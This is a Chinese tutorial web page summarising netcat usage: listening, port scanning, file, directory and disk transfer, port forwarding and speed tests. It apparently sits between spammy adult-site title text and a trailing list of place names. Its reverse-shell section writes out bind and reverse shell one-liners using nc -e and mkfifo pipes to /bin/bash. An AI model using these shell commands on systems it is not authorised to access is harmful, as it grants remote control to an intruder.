91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

ncat使用匯總

發布時間:2020-05-07 17:22:15 來源:億速云 閱讀:297 作者:Leah 欄目:安全技術

這篇文章主要為大家詳細介紹了ncat使用的方法,文中示例代碼介紹的非常詳細,圖文詳解容易學習,非常適合初學者入門

功能

1. 監聽本地端口
2. 連接目標端口
3. 傳送文件
4. Remote Administration with Netcat(OSCP中給的分類,不知道此分類的作用,需要深入學習)
5. 反彈shell
6. 測兩臺機器間的網速

監聽本地端口

# 臨時監聽端口
nc -l <PORT> # 臨時監聽TCP端口一次
nc -lu <PORT> # 臨時監聽UDP端口

# 以監聽TCP端口為例,監聽UDP端口基本一樣

服務器臨時 監聽端口
ncat使用匯總
客戶端嘗試連接服務器端
ncat使用匯總
建立TCP連接
ncat使用匯總
客戶端斷開連接時,服務器端也關閉端口的監聽
ncat使用匯總

nc -lk <PORT> #永久監聽TCP端口
nc -lku <PORT> #永久監聽UDP端口
# 永久監聽:監聽端口,并且客戶端端來連接時,服務器端依舊監聽等待連接;并且支持多客戶端同時連接。UDP端口類似。

ncat使用匯總

連接目標端口

# 在監聽部分可以找到連接的圖,接下來重點操作一下端口掃描;nc掃描端口會創建TCP三次握手連接,會造成一定的流量,容易被發現。
nc <IP> <PORT>  # 連接目標TCP端口
nc -u <IP> <PORT> # 連接目標UDP端口
# 使用上述命令連接tcp或UDP端口,連接成功后會阻塞在用戶輸入中,讓用戶與目標端口進行交互。此外還有一種非交互模式,適合用來掃描端口。
nc -z <IP> <PORT> #掃描目標TCP端口
nc -zu <IP> <PORT> # 掃描目標UDP端口
#  -w參數的適用場景:掃描UDP端口;網絡狀況不好。在網絡狀況良好是,掃描TCP端口沒有必要使用此參數。
nc -z -w1 <IP> <PORT> range

ncat使用匯總

ncat使用匯總

傳送文件

此部分需要兩臺機器的配合

A機:數據存儲機器
B機:備份機器

TCP傳送文件

B: nc -l <PORT> > filename
A: nc <IP> <PORT> < filename

文件傳送完成后,連接自動斷開

ncat使用匯總

UDP傳送文件

#B
nc -lu <PORT> > filename

#A
nc -u <IP> <PORT> < filename

# 文件傳輸完成后,連接不會斷開,可反復連接B機進行文件傳輸。

# UDP更適合做一個日志接受端,其他的機器都把通過nc把日志寫入到監聽的UDP機器上

ncat使用匯總

ncat使用匯總
傳送目錄

# 傳送目錄與傳送文件是一樣的,只是通過tar將目錄打包為壓縮文件傳過去并自定tar解包,實現傳送目錄的功能
#B
nc -l <PORT> | tar zxvf -

#A
tar zcf - * | nc <IP> <PORT>

傳送分區

B: nc -l <PORT> | dd of=/dev/sda
A: dd if=/dev/sda | nc <IP> <PORT>

反彈shell

# nc有-e選項時

#server
nc -l <PORT> -e /bin/bash -i

#client
nc <IP> <PORT>
# nc沒有-e選項時,創建正向shell

#server
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l <PORT> > /tmp/fifo

#client
nc <IP> <PORT>
# 創建反向shell(服務器端連接客戶端,然后受客戶端控制)
#client: 
nc <IP> <PORT>

#server: 
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc <IP> <PORT> > /tmp/fifo && rm -rf /tmp/fifo

端口轉發

# server
nc -l <target port>
mkfifo /tmp/fifo && cat /tmp/fifo | nc localhost <target port> | nc -l <listen port> > /tmp/fifo

# client
nc -n <IP> <listen port>

測機器間網速

A: nc -l <PORT> >/dev/null
B: nc <IP> <PORT> < /dev/zero

A、B:watch -n 1 "/sbin/ifconfig <interface> | grep bytes"

本文在介紹關于ncat使用的基礎上,重點探討了其具體步驟,本文內容緊湊,希望大家可以有所收獲。如果想了解更多,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

斗六市| 历史| 平乐县| 石河子市| 苏州市| 交口县| 太原市| 清水河县| 射阳县| 肇州县| 平陆县| 望谟县| 招远市| 天祝| 合作市| 延津县| 大港区| 商丘市| 黄龙县| 庆安县| 桐乡市| 会昌县| 全椒县| 贺州市| 资阳市| 凌源市| 沂南县| 阜阳市| 如皋市| 婺源县| 二连浩特市| 湾仔区| 南投市| 彰化县| 兴业县| 高密市| 崇义县| 清新县| 兴隆县| 甘泉县| 沂南县|